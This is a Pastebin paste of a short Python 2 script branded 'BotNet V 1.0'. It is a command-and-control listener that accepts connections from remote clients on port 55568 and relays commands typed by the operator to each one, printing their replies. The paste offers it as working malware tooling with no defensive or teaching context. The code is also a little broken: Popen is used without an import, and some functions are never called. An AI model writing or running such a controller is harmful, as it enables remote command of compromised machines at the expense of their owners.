Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/python
- from socket import *
- import thread
- from pyfiglet import Figlet
- #color
- global red
- red = '\033[31m'
- global green
- green = '\033[32m'
- global reset
- reset = '\033[0m'
- global yellow
- yellow = '\033[33m'
- global cyan
- cyan = '\033[36m'
- global magenta
- magenta = '\033[35m'
- global cls
- cls = '\33c'
- #end color
- def sendCmd(clientsocket):
- cmd = raw_input(cyan+">> "+reset)
- clientsocket.send(cmd)
- def handler(clientsocket, clientaddr):
- while 1:
- data = clientsocket.recv(4096)
- if data:
- data = data.rstrip()
- print(repr(data))
- cmd = raw_input(cyan+">> ")
- clientsocket.send(cmd)
- print(clientsocket.recv(4096))
- else:
- cmd = raw_input(cyan+">> ")
- clientsocket.send(cmd)
- print(clientsocket.recv(4096))
- def cmdline(command):
- process = Popen(
- args=command,
- stdout=PIPE,
- shell=True
- )
- return process.communicate()[0]
- def showCommands():
- print('Commands :\n\t "!help" or "?" to get help\n\t "!listen" to listen for connections')
- def listen(port, serversocket):
- while 1:
- print(magenta+"Server is listening for connections on port {}\n".format(port)+reset)
- clientsocket, clientaddr = serversocket.accept()
- thread.start_new_thread(handler, (clientsocket, clientaddr))
- if __name__ == "__main__":
- #Variable Declarations
- host = '192.168.0.20'
- port = 55568
- buf = 1024
- addr = (host, port)
- serversocket = socket(AF_INET, SOCK_STREAM)
- serversocket.setsockopt(SOL_SOCKET, SO_REUSEADDR, 1)
- serversocket.bind(addr)
- serversocket.listen(2)
- #SAY HELLO
- msg = Figlet(font='slant')
- print(red+msg.renderText('BotNet V 1.0')+reset)
- print(yellow+"Type \"!help\" or \"?\" to get help."+reset)
- #Starting the command prompt
- while 1:
- choice = raw_input(">> ")
- if(choice.lower() == "?" or choice.lower() == "!help"):
- showCommands()
- elif(choice.lower() == "!listen"):
- listen(port, serversocket)
- else:
- showCommands()
- serversocket.close()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement